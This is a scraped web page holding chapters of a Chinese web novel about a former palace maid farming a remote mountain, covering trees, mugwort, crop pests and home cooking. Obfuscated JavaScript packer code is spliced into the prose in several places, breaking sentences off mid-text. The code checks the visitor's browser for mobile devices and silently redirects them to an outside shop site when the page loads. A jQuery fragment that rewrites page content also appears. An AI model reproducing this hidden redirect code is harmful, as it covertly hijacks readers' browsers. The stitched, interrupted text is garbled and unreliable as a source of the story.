黄迎春天天日出而作,经过她的辛苦开垦,从医馆里买来的种子也赶着春天的尾巴在药田里扎上根,但是药材长成需要时间,鸡鸭牛羊遥遥无期,黄迎春不得不另寻开源法。 黄迎春寻寻觅觅了好长时间,今天,她的榆木脑袋终于开悟了。 为什么她只想到种桑树和柳树呢? 明明她还可以种其他树种——樟树、栎树、松树、梅树……只要不触犯律法,只要山上种得下,她可以在山上种任何树,只要她喜欢! 黄迎春想起她在凶肆看中的那副棺材,做工先不论,因为是好的柏木,就能开出二十贯的高价。 如果她也在山上种了柏树呢? 如果她种了一大片柏树林呢? 过了五年、十年,或者二十年,她去木行把一整片柏树卖了,她得收到多少钱啊?估计得用箩筐去装铜板,兴许一个箩筐还装不够呢! 等等,她为什么只想着种经济林木呢? 枣树、柿树、梨树、枇杷树、石榴树、杨梅树……果树也可以种啊! 如果种了柿树,到了秋天,她不仅有新鲜柿子可以吃,还能把柿子做成耐放的柿饼,这样冬天也不用担心天寒地冻的没东西吃了。如果柿子长得多,她柿饼又做得好,兴许还能拿到年集上赚几个铜板呢! 杨梅树也很好,盐腌的拿来配饭佐粥,糖渍的拿去泡水煮茶,夏季暑热时也不会太过难熬。 种了枣树就再好不过了!枣树和桑树一样,浑身都是宝。 鲜枣可以打下来晒干做成干枣,保存得当的话可以放好几年,是荒年的“庄稼”。 枣木质地坚硬,既能做农具,又能做家具,年份高的枣树,是打嫁妆的良选。 黄家村里疼爱女儿的人家,不舍得拿庄稼酿酒埋女儿红,就会在自家地里多种几棵枣树,在女儿成亲时,打成家具通通陪送成嫁妆。 黄迎春出生时就记着事,受限于身体,说不了话,但什么都听得懂。 她自然也早早知道,她的女儿身让一家人都不高兴,但好歹也是家里的第一个孩子,所以她爹还是在她出生那年提着锄头去地里给她种了一棵枣树。 那是黄迎春这辈子第一个,也是唯一的一个,属于她的重要财产。 可惜入宫时没办法带走,也不知道她的枣树如今是个什么样的命运。 唉—— 黄迎春躺在炕上翻了个身。 有时候,她会觉得她在黄家村过的那十二年,是另一辈子的事。 既然她出宫后从未想过回黄家村,也在永安城里立了女户,长在黄家村里的那棵枣树就和她没关系了。 枣树而已,她可以自己给自己种,种一棵,不,种一百棵都行! 她的荒山占地三百亩,大得很。 黄迎春豪横地想。 地方这么大,还能种什么呢? 种梨树吧,种一棵汁水香甜的梨树,采下成熟的梨子,把它们熬成甜甜的梨膏糖。 好久没碰甜味了,如果在地里干了一天活,喝了一天没滋没味的白水,回到家能吃上一块甜甜的梨膏糖,那该有多好啊! 再在院子里搭一个葡萄架,用竹子做一把摇椅,放在葡萄藤下,夏天的傍晚,一边躺在摇椅上看天边的火烧云,一边喝杨梅甜水。 觉得太甜了,就抬手摘下一颗酸甜可口的葡萄,三两下剥掉皮,把晶莹剔透的果肉放在嘴里,口水立刻分泌出来,摇椅咯吱咯吱地晃动,晚风清凉地拂过…… 黄迎春越想越激动,将近天亮才睡着。 睡醒后,她忽然发现了一个她昨天晚上从来没有考虑过的问题——她想种的那些树,从哪来? 荒山之所以被称为荒山,在于它地方偏僻、人迹罕至,无人打理,所以山林荒芜。 野生的果树肯定也有,但品种肯定没有人工培育的好,而且黄迎春也不会天真至此,以为她的荒山上会长着她需要的所有树种。 哪怕是野生的,撞见一棵两棵一种两种便是极佳的运气了,山上怎么可能长着白给她吃还给她赚钱的果树呢! 至于那种多年树龄,一棵就能卖上数贯木价的好树,黄迎春更是不报希望。 古往今来,买卖可能亏本,但是掮客始终是稳赚不赔的。 牙行要卖这座荒山,哪怕再人迹罕至,肯定也会事先派人来考察一番,若是山上真长着什么能让人发财的树木,这座荒山也不会被她压价到三十贯还能从宋大手里买下来。 黄迎春思来想去,想种树,还得靠她花钱从外面买果苗和树苗扛回山里来种。 可是,她本来就是因为没钱,才指望种树卖钱的。 黄迎春愁眉苦脸,气叹了一口又一口:“钱啊钱,你可真愁人!” 在山里,有什么不用钱做本钱就能让她赚到钱的营生呢? 黄迎春一边锄草一边想,一边挑水一边想,一边编筐一边想,一边施肥一边想……想了许多天,一直到春天都过完了,还是没能想出来。 气温越来越高,黄迎春在一个晴天洗掉了所有的冬衣和春裳,白、青、黄、蓝,各色衣物披在结实的竹架上,在阳光下,在微风中,仿佛一幅美丽的画。 然后,一场大雨伴着滚滚天雷浇透了黄迎春晾在院子里的所有衣裳。 黄迎春急急忙忙从地里跑回家收衣裳,结果还是没能挽救和她的衣裳一起被浇了个透心凉的下场。 这场突如其来的大雨已经萌发了夏雨的特色,来得快,走得也快。 雨停后,山里的空气愈发清新湿润,竹林青翠欲滴,溪水潺潺,腰间绑着鱼篓的黄迎春仿佛误入仙境。 远处出现了七彩的虹光,竹叶上的雨水在阳光的照耀下闪闪发光,仿佛一颗颗通透润泽的极品水晶。 密集的竹林被黄迎春砍出一条宽阔的大路,但黄迎春走在其中,仍然不敢掉以轻心。 她的衣裳还没晾干,千万不能再湿一身! 黄迎春小心地看着脚下,目光在湿润的泥地上游移,偶尔还能看到一些正在冒头的菌菇。 春夏之交的雨季,正是各种各样的菌菇蓬勃生长的时候。 除了晒虾干,黄迎春还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在这个兔子还没成为宠物的安朝,给兔子哭丧的,黄迎春应该是第一个。 虽然,黄迎春哭的内容有点偏。 “兔子,你怎么就死了呢?我还等着把你养大,给你抢一个异性伴侣回来成亲,再让你们一年生三窝,把你的家族发扬光大呢!我的兔毛兔肉养兔场啊!我的兔子呀!你怎么现在就死了呢?好歹再等等我呀!呜呜呜——我的养殖大业,你怎么还没开始就又结束了?呜呜呜——可怜的兔子呀,可怜的我呀……” 黄迎春用镰刀砍竹子的时候为了省力,都是使巧劲,像甩鞭子一样把手里的镰刀甩到竹子上,竹子根部的切口都不一样平,总有一些尖锐的部分直直地朝天立着,乍一看,倒真像个特意做出来的竹阵陷阱。 这只倒霉的兔子应该就是这样,在竹林里跳跃奔跑时,被参差不齐的竹根刺伤腹部,一直挣扎不开,最后血流而尽没了生息。 兔子的死因是意外,鉴别完毕,黄迎春放心地把无毒的兔子尸体带回家。 但是,她还是高兴不起来。 这是黄迎春第一次在吃肉时唉声叹气。 只是将兔子处理干净后冷水下锅同去腥的紫苏叶和姜片煮了许久,兔肉熟后立刻捞出来,放在凉透的白水里过了一遍,掐了一大把野葱洗净,葱绿葱白纷纷切段,热锅冷油烧成葱油,再滋啦一声淋到撕碎的兔肉上,浇上盐、蒜、辣椒等各种去腥增香的调味料用手抓匀,随手拿起一块油亮亮的兔肉往嘴里一塞…… “太好吃了!怎么能这么好吃?” 黄迎春一边吃一边流泪。 只是这样简单地用葱油拌一下就这么好吃,要是她去镇上打了酱油,或是买几坛酸菜和大酱回来,做出来的兔肉得有多好吃啊! 黄迎春一边吃着油汪汪的葱油手撕兔,一边在心里缅怀和她有缘无分的红烧兔肉、酸汤兔、蘸水兔、白斩兔、鲜锅兔、清烧兔…… 泪,一下子就从嘴边流了出来。 黄迎春望着她剥下来的柔软兔皮,哭得十分伤心:“兔子!你怎么就死了呢?” 27.豌豆饭 阳光温暖明亮,驱散了山间暮春的微寒,照得黄迎春的身体暖烘烘的。 黄迎春拔出斜插在地里的竹筒,往里望了一眼,对着密密麻麻的蝼蛄轻轻地叹了一声。 “夏天真的来了。” 古有结绳记事,但黄迎春的麻绳不是在竹筐上安着,就是在扁担上系着,腾不出一点空去记那没用的天数。 斗转星移,渐渐的,黄迎春已经记不清自己独自一人在这座荒山生活了多少天。 安朝是有日历的,黄迎春在皇宫里见过薄女官翻阅,一本巴掌大的小册子,由钦天监编写,修书处印制,每一页历书都印着当日的信息,还会标注节气、重大日子与吉凶宜忌。 但是纸是金贵物,印了字的书籍更了不得,哪怕是一本历书,价钱也令人咋舌。 黄迎春在城里和镇上什么店铺都敢进去逛一圈,哪怕买不起也要进去涨涨见识,唯独书局,黄迎春一条门槛都不敢踏。 从前看历史小说,作者总写世家大族是多么高不可攀,权力大到连皇帝也不敢轻易罢黜,而寒门学子又是怎样难出头,要耗尽多少心力才能在朝堂中崭露头角。 再有天资的主角,作者都会花费大量的笔墨写他如何在世家大族的欺压下举步维艰,纵然结局胜了,但主角早已不是初见的主角,身上再无那股心高气傲的少年志气。 上辈子黄迎春是看客,还有闲心为难出头的寒门学子长吁短叹,这辈子她胎穿成大字不识一个的农家女,这才知道她理解的寒门学子完全不是那么一回事儿。 皇宫中的一切宴饮都需要鲜花的点缀,黄迎春因在花草司做工,时常能听到一耳朵新鲜事。 例如新科探花是个寒门学子,长了副让人倾心的好相貌,但门第寒微,没有高门贵女愿意与之结亲。 再如有位姓王的老大人世代官宦,可惜家族没落,一直没进圣上的青眼,特意寻来一些奇珍异宝,想让公公嬷嬷们对新选入宫的王家小女儿多照顾一二,最好能分到一个离圣上近的地方去侍候。 又如…… 黄迎春听得一愣一愣的。 门第较低的世家和庶族,还有累世官宦但不在权利中心的没落贵族,原来你们口中的寒门是这些人啊。 我想象中的家贫以至于餐风饮露、一文钱掰成两半花还不够的那种人家,原来是打寒门的门前经过都会被门房嫌弃脏了府前的地,唾一声“氓流快滚”的草民哪。 是我从前咸吃萝卜淡操心了,竟然还可怜寒门学子,老天一定是觉得我失张倒怪,所以才把我发放到这里,让我体会一下真正的贫民生活。 买木料要钱,请木匠做木门也要钱,有些家贫的人家出不起这些钱,便天天敞着一间屋,寒冬腊月为了挡风,只能不停地编织草席、絮芦花被。 总有孱弱的老人和新生的小儿冻死在破屋里,熬不到来年开春。 在黄家村,这样的事情黄迎春每年都能听说一两件。 如果门第势低的人家培养出来的读书人叫寒门学子,那家里连门都没有、连出生后的第一个冬天都熬不过去的那些孩子,该叫什么? 也许在养不活孩子的贫苦人家家里,不生便是最大的善。 “可是你们怎么这么会生呢?”黄迎春蹲在地上,看着竹筒里丰收的蝼蛄,十分想不通,“我总共就种了这么一点儿东西,你们还来咬它们的根茎,就真的那么不想给我留条活路?” 这不是黄迎春第一次抓到蝼蛄,春夏之交是蝼蛄活动的高峰期。 蝼蛄是昼伏夜出的土栖昆虫,以植物的根茎、种子和幼苗为食。 它们喜欢在闷热的夜晚出土,到了炎热的正午,又会潜入深深的土层,让人怎么抓也抓不到。 黄迎春抓蝼蛄很有一手,这是她在黄家村里学的。 历书这玩意儿,是黄迎春入宫后才听说的,从前她在黄家村里从年头活到年尾,根本分不清今夕是何夕。 只有一些重大的节日,族长才会派人挨家挨户地通知。 若需要置办东西,大家就会去赶集。 乡里和镇上的集市都是逢五一开,去过一次之后再数四天,便是下一回,哪怕不认字不识数的人都会算,就是真的忘了,左邻右舍问一声,总有一个记性好的,总归误不了开集。 无论是哪里的集市,都是热闹的。 哪个小儿要是能被家里的大人带去集市上逛一圈,就是什么东西都不买,回来都能吹嘘上好几天。 每回,黄迎春都是听众。 赶集永远轮不上她,无论去乡里还是去镇上,但赶集前,黄迎春往往是家里最忙的那个孩子。 农家人去赶集,买东西是其次,最重要的,是把家里有的东西换成钱。 黄家没什么值钱的东西,能卖的全是地里的出产,例如采下的桑葚、晒干的茶叶、制好的笤帚、编好的簸箕……黄迎春的竹编手艺,在日复一日中逐渐成熟,因此来了荒山,她才能靠自己的双手,在短短的时间内就编出许多东西,白日里又早出晚归,紧赶慢赶,这才没误了下种的农时。 农家买不起历书,他们也不用看历书,每个和土地打交道的农人都会看天辨水,他们心中自有一套农时,出门去地里转一圈便知道明天要干什么。 到了明天,看看天上的云,再望望河里的水,就知道后天要做什么。 一天又一天,一季又一季,一年又一年,日子就在脚下的这片土地上过去了。 千百年来都是如此,大家不用看历书也能过。 大家都能过,我为什么不能过? 于是,黄迎春怀揣着轻飘飘的荷包面不改色地从卖历书的书局门前走了过去,转向桥头花了五十文,雇一个脚夫帮忙把她买来的东西一起搬回家中。 黄迎春从前的积累,令现在的她有了独自在荒山生存的勇气与能力。 据黄迎春所知,抓蝼蛄一共有三种方法。 第一种是利用蝼蛄的趋光性。 蝼蛄常在夜里出没,又喜欢光亮,如果夜间在田里点燃火把或架起柴堆,蝼蛄就会争先恐后地扑向光源,人站在旁边拿着网兜和竹筛,一捉一个准。 第二种是挖陷阱。 找一块蝼蛄频繁出没的田埂或菜地,在地里挖一个坑,在坑底放一些蝼蛄爱吃的东西,例如新鲜的杂草或腐烂的果实,作为诱饵。 蝼蛄为了觅食,会坠入坑里,然后被困在坑中无法爬出,第二日清晨来坑中收集,也能抓到不少蝼蛄。 不过黄迎春觉得挖坑太麻烦了,而且她白天就不停地拿着锄头在地里劳作,一整天下来手臂都累得发麻,晚上实在没什么力气再去挥舞锄头挖坑,所以她通常都是把竹筒斜插入地里,放置的深度约莫能使筒口和地面平齐,再往竹筒里倒入诱饵。 由于竹筒内壁光滑,所以觅食的蝼蛄掉进去后更难以爬出来,而且竹筒一拔就能提走,还省了黄迎春把蝼蛄一只只从坑里抓出来的功夫。 毕竟,蝼蛄不能吃,长得也不好看,只能入药,黄迎春实在对这种不能被她吃还反而来吃她种的东西的害虫生不出多少好感。 第三种抓蝼蛄的方法是农家最常用的,但没办法随时用。 春耕时,农人都会深翻土地。在深耕时,锄头翻出来的不止草根和石子,还有蝼蛄的巢穴。 家里有养鸡鸭的,会让小儿来田里把蝼蛄抓回家去喂鸡鸭。 没空操心这么多的,便随便蝼蛄在地里挖出的隧道和巢穴摊在青天白日下,反正天上的鸟雀看到了,也会飞到地里来啄食。 蝼蛄的天敌一是鸟,二是水。 夏季灌田时,采用缓水慢灌,也能把蝼蛄从巢穴里逼出来,到时候再用网具去捞,也能捞到不少。 黄迎春没想到她光是把竹筒插在地里就能捉到这么多的蝼蛄。 夏天来临,万物繁茂,翻松泥土的蚯蚓数量也变多了,但河虾还没灭绝,黄迎春依旧勤勤恳恳地把蚯蚓砸碎拿去钓虾,只放了一星半点的蚯蚓肉在竹筒里,但竹筒里的蝼蛄数量还是多得吓人。 黄迎春又一次加深了“荒山”的概念,集市从未见过,炊烟只有一束,地里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄迎春绕着竹林走了两三圈,把每个陷阱都检查了一遍,结果,别说兔子了,她连一缕白色的毛都没看见。 一无所获的黄迎春背影佝偻,循着残阳的余晖往家走去。 只是想有个进项,为什么寻寻觅觅,连个生活的希望都找不到呢? 蓝紫色的蝴蝶在淡紫色的豌豆花中翩翩起舞,长势极好的豌豆苗缠绕在竹竿上,结出一片绿油油的豌豆荚,为路过的黄迎春送来一阵清甜的香风。 黄迎春在豌豆架子前站了许久,干涸的心田再次注入生息。 抓不到鸭子,养不了兔子,又怎么样?只吃鱼和菜也不会饿死。 我把菜种得这么好,地里的粮食也不会差到哪里去。 赋税是明年秋天的事,何必现在就开始烦恼? 我有手有脚还有一贯钱,找个不忙的时候走到镇上,何愁买不回鸡鸭饲养? …… 黄迎春越想眉头越松,见豌豆荚子饱满鼓胀,顿时来了兴致,进屋提了一个竹篮出来,采了许多豌豆荚。 俗语说:小满豌豆肥。但豌豆自过了清明就可以采收,只是黄迎春种得晚,所以直到春末夏初,菜地里的豌豆才有了成熟的迹象。 黄迎春把一颗颗圆润的绿豆子从月牙似的豌豆荚里剥出来,放到锅里和米饭一起同焖。 豌豆饭煮好后,黄迎春又取了几只虾干,十来朵前几日雨后刚从竹林里采来的菌菇,混着许多干瘪的豌豆荚,煮了一大锅赏心悦目的热汤。 夏初已然是丰收的时节,黄迎春险些没吃完今晚的夕食。 洗完碗筷,黄迎春歇了歇,开始编竹席。 睡前,她用兑好的温水泡了一个脚,然后舒舒服服地躺进被窝。 正打算安眠时,蝼蛄的叫声又响起来了。 屋前屋后,四面八方,此起彼伏,层出不穷。 黄迎春一掀被子,猛然从炕上坐起来。 该死的蝼蛄! 气煞我也! 28.辣椒烧草鱼 夏天的夜晚,吵嚷的不止蝼蛄,还有数不清的蛇虫鼠蚁。 它们倾巢而出,肆无忌惮地在静谧的山林里放声歌唱。 一虫声微,耐不住万虫齐鸣,扰得黄迎春一晚上没睡好。 一大早,黄迎春便背着竹筐、提着鹤嘴锄漫山遍野地寻找,终于在晨露未晞时,找到一丛野生艾草。 在野外,有许多种蒿草长的都与艾草有相似之处。 白蒿和牡蒿的叶子形状都与艾草十分相像,不过白蒿的叶子颜色较浅,而牡蒿的叶子较小。 遇上白蒿和牡蒿,黄迎春倒是还好分辨。 难的是一种开黄花的蒿草,它没开花时长的几乎与艾草一模一样,在黄迎春的眼中,黄花蒿和艾草的区别只在于艾草开的花是淡紫色和白色的。 好在艾草有它独特的气味,掐下一片叶子用手指捻着揉搓几下就能闻到,这才没让黄迎春放跑了这一丛长势旺盛的野艾。 啊!就是这个香气!太好了! 指尖又湿又黏的黄迎春喜笑颜开,她如获至宝,连忙解下竹筐,拿着鹤嘴锄把那丛野生艾草连根带须,小心翼翼地从土里挖出来放到筐里。 露水打湿黄迎春的脚踝,黄迎春的手指也沾上了湿泥,但她却不以为然,反而兴奋地四处张望。 艾草极易繁衍生长,只要水土适宜,一株艾草只要短短一年时间就能分蘖成许多株,少则数几,多则几十,所以艾草往往成片生长。 果然,黄迎春又在附近发现了许多株艾草。 她乐不可支,仿佛一只老鼠掉进了大油缸,挖了一棵又一棵的艾草放进竹筐,直到把竹筐塞得满满当当,这才意犹未尽地停了手。 黄迎春把沉甸甸的竹筐背回家,抓起一株又一株连土带泥的艾草,蹲在地上顺着前院的竹篱笆栽了一圈。 竹筐里的艾草不够了,黄迎春也没磨蹭,直接操起扁担,在扁担两头垂下来的麻绳上一边系了一个敞口簸箕,担着扁担提着鹤嘴锄就又去挖了一大堆艾草回来。 艾草是个好东西,它不仅能温气血、逐寒湿,还能驱蚊虫、净空气。 黄迎春上辈子买过一瓶艾草精油,那是她第一次觉得营销没有夸大其词,还没涂抹,只是用滴管滴了两滴在手心,艾草浓郁的香味便瞬间弥满了房间里的每个角落,闭上眼睛深吸一口,整个人都芳香通窍了。 黄迎春也有在网上刷到用艾草自制驱蚊液和防虫膏的短视频,来到安朝后,每个被蚊虫叮咬的夏天,黄迎春看着漫山遍野的艾草,心里都直痒痒,不过等她弄清了她家的经济水平以及她在家里的地位后,黄迎春就立刻打消了制作驱蚊液和防虫膏的念头。 艾草易得,漫山遍野都是,远的不提,黄家门口就长着一大片,但是,黄迎春缺少制作驱蚊液最必不可少的一样东西——酒精。 酒精可以通过对酒进行提纯得到。 黄迎春虽然上过几节化学实验课,但她上辈子学的那些东西早就还给化学老师了,并不会提纯酒精。 更重要的是,黄迎春就没在黄家见过酒这玩意儿。 酒的原料是稻米、黍米、高粱等谷物,普通农户人家忙碌一年尚且不一定能吃饱饭,粮食在他们看来是天底下最金贵的东西,再丰饶的年月,他们也不可能把地里的粮食拿去酿酒。 在安朝,酿酒也不是一件易事,酒曲的好坏直接决定了酒是否能酿成,并不是人人都会制酒曲,而且,即便酿成了酒,没有经过官府备案,私自卖酒被人发现,很可能会迎来牢狱之灾。 农户人家一辈子也只有寥寥几次机会能喝酒,或是乔迁,或是成亲,或是添丁。 但是,就算是这种一辈子也碰不上几回的大喜事,上桌的酒,份量也是不多的。 凉水在酒里兑了一遍又一遍,无人计较吵嚷。 大家都知道酒贵价高,不是地里刨食的小老百姓能消受得起的,能尝一点酒的味道,已经是极好的事情。 住在村尾的猎户家倒是经常传出酒香,但是再混不吝的人,也不敢去他家讨杯酒喝。 并非畏惧虎背熊腰的猎户,而是猎户的酒里泡的尽是一些毒性极强的爬虫。 村民都惧毒怕死,却不知猎户泡的酒虫能治病救人。 黄迎春小时候去后山砍柴,不小心迷了路,幸亏遇上下山的猎户,她才能平安回到黄家村。 好心的猎户还留她在家吃了一顿饭。 猎户的厨艺实在简陋,东西只要熟了就行,不熟也没关系,反正都能吃下去,但黄迎春吃不下去,她也看不下去猎户粗犷的烹饪方式。 可怜的山鸡,被猎犬一口咬断脖颈已经够痛苦的了,要是再做得不好吃,那真的是白死了。 黄迎春决心让这只可怜的山鸡死得其所,不擅厨事的猎户放手让黄迎春折腾,自己转身钻进房间去炮制药酒。 黄迎春看见了,疑惑发问:“为什么要把蜈蚣放在酒里?” “不放在酒里泡着不行啊。” “可以拿去卖钱。”那时,黄迎春已经开始偷偷攒私房钱了,她神情认真,“有的蜈蚣能治病,医馆会收。别卖给集市上的药贩子,他们给的钱少。” 黄迎春都知道的事情,比她多活了二三十年的猎户怎么可能不知道。猎户一边啃香得流油的鸡腿,一边说:“村里到处都是眼睛和耳朵,常去镇上,谁能相信我只是去卖虫子的?惹来一堆麻烦不说,我干的也不是快活,上山下山都有时令,镇上也不是说去就能去的。可要是不及时卖了,这些玩意儿就死了,反而不划算。别看这些东西没多少份量,好歹也是我一只只辛苦抓的。看到我手上这个肿块了吗?上个月被一只蝎子蜇了一口,到现在还是疼得慌。但要是用我泡了五年的蝎酒一抹,保准过不了多久就能消下去,这就叫以毒攻毒。” 猎户得意地说:“药酒泡对了,比光卖蝎子还值钱呢。” 那是黄迎春第一次闻到酒味,后来她再也没在黄家村里见过那么纯劲的酒,也没见过那个一顿能吃下她十顿食量的猎户。 族长有一天敲锣打鼓,让全村人这几天都不要上山,黄迎春才知道猎户死了。 天太冷了,山里的狼没吃的,集体下山觅食。 猎户因为打猎受伤恰好在家疗养,却还是没能逃过一劫。 猎户住在村尾,是离山最近的,也是离村最远的。 狼群闻着血腥味就来了,村民们并没有听到猎户的呼救。 第二天一早,族长聚结了一群青壮去后山察看,已经迟了。 黄迎春一口气挑了两担艾草回家,前院栽了一圈,还剩下许多,她就把簸箕抬到屋后,挑了几处土地松软的地方,种下几丛艾草。 春天种下的桑树苗发出许多嫩绿的新叶,又往上蹿了一大截。 黄迎春站在她刚种好的一丛艾草前,望着几乎没有防御力的后院,想起往事,面对一重更比一重高的山林,眉眼间泛起淡淡的哀愁。 还是得赚钱啊,她想。 只有赚了钱,才能买来树苗,在屋后种出一片高大紧密的树墙。 可是怎么才能赚到钱呢? 黄迎春一边给新栽的艾草浇水一边想。 她并没有想太久,一只趴在水瓢上又飞走的黑色小虫子吸引了黄迎春的注意。 黄迎春动了动鼻子,闻到了艾草的味道、泥土的味道、还有山林中的万物混合在一起的味道,唯独闻不到记忆里的酒味。 驱蚊液是想都不要想了,无论是酒精还是酒,对现在的自己来说,无异于天方夜谭。 黄迎春又在记忆里翻了翻,找到了防虫膏的做法。 自制防虫膏倒是比制作驱蚊液简单一些,再奢侈也只需要一点蜂蜡。 这一点黄迎春同样无法满足。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907460|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安朝的盐和糖都受官府管制,价钱一直居高不下。 不吃盐就没力气干活,所以再穷苦的人家也会在农忙时向货郎买点盐。 糖就不一样了,不吃又不会死,所以除了家中刚生了孩子的人家,少有人向货郎买糖。 不懂事的孩子盯着货架上的饴糖哭闹不休非要吃怎么办?好办,一个巴掌了事。 也不是人人都因贫穷对孩子恼羞成怒,有那心疼孩子的人家,会拿布把自己裹得严严实实,再举着一个火把进山,半天后,若运气好的话,就有几个小孩知道蜂蜜是什么味道了。 自然,黄迎春依然不在此列。 所以,她也一直没办法弄到蜂蜡去做防虫膏。 每年夏季,黄迎春都是抓着被蚊子咬出的大包小包,在烟熏火燎的艾草味中艰难入睡的,直到入了宫,黄迎春见到了熟悉的蚊帐,激动得差点一夜未眠。 今年的夏季并不会太过难熬,黄迎春算来算去,还是觉得买蚊帐的钱不能省,所以早早在镇上给自己安置了一顶葛布做的蚊帐。 黄迎春走进卧房,打开包裹,取出蚊帐。 她并没有直接把蚊帐带到河边抛进水中冲洗,而是用竹丝络把木桶从里到外洗得干干净净,又用扁担挑了两桶清水放在院子里,这才把蚊帐放在桶里,小心翼翼地过了两道水,然后摊在光滑的竹竿上晾晒。 金色的阳光下,水珠不停地从葛布细密的孔眼滚落,陷进花香绿意。 黄迎春没空欣赏这幅美丽的画作,她浇完菜地,便脚步匆匆地往河边走去。 既然在竹林里逮不住兔子,只能在河里多花点工夫。 黄迎春把渔网往河里一抛,第一次收网便捕到了一条肥硕的草鱼。 这条草鱼个头极大,鱼身几乎与黄迎春的半臂齐长,鱼尾巴在渔网里不停地甩,溅了黄迎春一脸的水。 黄迎春没想到她第一网就有这么大的收获,捕到了这么大的草鱼,黄迎春也不急着下第二网了,把渔网连同扑腾不停的草鱼往木桶里一塞,提着桶就往家赶。 太好了,我终于能尝尝辣椒的味道了! 美味的辣椒烧草鱼,我来啦! 菜地里的辣椒已经成熟了许多,黄迎春每天浇水施肥时都眼馋不已。 草鱼更绝,它不像鲫鱼,是杂食性动物,用鱼笼捕鱼时还得往里面放点蚯蚓的尸体做饵料,草鱼之所以叫草鱼,因为它只吃草。 鲫鱼虽然肉质鲜嫩,但它刺多,再长也大不了多少,长老了反而口感会变差。 黄迎春许久之前就想换换口味,今天特意往水草茂密的地方下网,没想到果真给她捉到一条不一样的鱼,还是这么大只的草鱼,简直得来全不费工夫。 黄迎春一回到家拿着刀就把草鱼开膛破肚,容易煮出腥苦的黑膜通通刮掉,手法利落地把草鱼收拾干净之后,又分出一半的草鱼,把它剁成块。 然后,她又马不停蹄地去菜地里摘了十来个红彤彤的辣椒,洗净切碎放在一旁备用。 之后,热锅凉油,让鱼块在锅里滋滋作响,把鱼皮煎出金黄色,再撒下姜片和紫苏叶去腥,翻炒几下,倒入沸腾的热水,没过鱼身。 撒调料时,黄迎春艰难地在盐和虾粉之间取舍,最后还是舍弃了她自制的虾粉。 吃鱼不放盐,鲜味就会少一半,还是撒盐吧,毕竟是第一条草鱼,要让它死得其所。 辣椒是黄迎春最后倒进锅里的,辣椒同鱼块焖煮了许久终于熟了,黄迎春弯腰深深地吸了一口香辣味的热气,满足地荡起嘴角,在起锅前又撒了点葱花下去。 太好吃了! 太下饭了! 酸甜苦辣咸,百般滋味都有的生活,才是人生啊! 尝到咸味之后的第二种味道,黄迎春不禁期待起第三种味道。 会是酸吗? 还是甜呢? 29.辣炒螺蛳(友情提示:这章吃饭时别看) 种水稻不是插上秧苗之后就万事大吉。 灌溉,锄草,捉虫,松土,耘田……黄迎春还有许多事情要做。 每一件事都与秋季的收获息息相关,只要有一件没做好,今年的收成就会少一大截。 黄迎春每天日出而作,一直勤勤恳恳地侍弄她开垦出来的几块稻田,但是她最担心的事情还是发生了——水稻即将迎来再一次追肥,而她的肥料已经不够用了。 稻田里,所有的活计中,黄迎春最发愁的就是追肥。 水稻返青时,黄迎春施过一次肥。 不过,那时,黄迎春是开心的。 移栽的秧苗从黄转绿,在地里恢复生长,将长出的新根牢牢地扎在黄迎春深耕了一遍又一遍的田里。 放眼望去,是一片又一片成活的秧苗,充满了新生的希望。 当时,哪怕粪水再臭,黄迎春追肥时,嘴角仍是上扬的。 如今,望着一大片在风中摇曳的绿色稻浪,黄迎春却笑不出来。 施工队盖房的工钱也一并包在黄迎春付给牙行的十贯钱内,黄迎春并不知道施工队为她在荒山脚上盖房期间是怎么解决吃住问题的。 但是,来到荒山的第二天,黄迎春在去河边打水的路上,便发现了施工队解决拉撒大事的巧方。 荒郊野岭的,也没间茅厕,自然不能指责人家露天脱裤子。 别人拉过的地方臭,不愿意和其他人拉在一个地方,另寻一处干净的,也是人之常情。 这些黄迎春都能理解。 只是,道理是这个道理。 但是,黄迎春在用锄头把她在家附近发现的粪便一坨坨填进新挖出来的土坑时,还是忍不住进屋找了块麻布把自己的口鼻掩住。 往土坑里倒自己的夜香时,黄迎春并没有多大感觉。 在河边用随手一捆的野草洗刷自己放在卧房一角的夜壶时,黄迎春也只是静静地屏气蹙眉。 但是,在收集别人的排泄物时,黄迎春发现只用麻布掩住口鼻完全不管用,她恨不得把自己的眼睛也蒙上。 这些人的屎尿怎么这么多? 房前屋后,他们是逮着一处草丛就拉啊! 黄迎春根本不敢回想她在开前院那块地时都经历了一些什么。 要不是实在没钱,她真想把她开荒时穿的那双鞋扔了! 要是在城里,那双鞋纵然不会在木柜上摆着,也是在箩筐里摞着,怎么会经历这种事! 唉—— 说多了都是泪。 不过,当初忍着恶心把家附近的粪便都清理干净,又填进一锄头一锄头费心劳力挖出来的土坑里,也不是一点儿好处都没有。 空气中不再散发隐隐约约的尿骚味和粪臭味,稻田春季追肥时的肥料也有了。 现在怎么办呢? 黄迎春望着隔着十几步远就能闻到巨大无比的臭味的粪坑,再次皱起眉头。 前院的菜地,屋后的树苗,山坡上的药田和豆田,河边的稻田,每个地方都要施肥,每个关键期都离不开粪水。 粪坑里的粪土用到如今,只剩黄迎春最近几天每天晨起拎着夜壶往坑里倒的一点水粪,甚至连个坑底都没铺满。 田地的肥料来源无非就是人的粪尿、动物的粪尿、植物的尸体以及肥沃的河泥和塘泥。 人的粪尿黄迎春有,但她只有一个人,话说得糙一点,她是拉的赶不上用的。 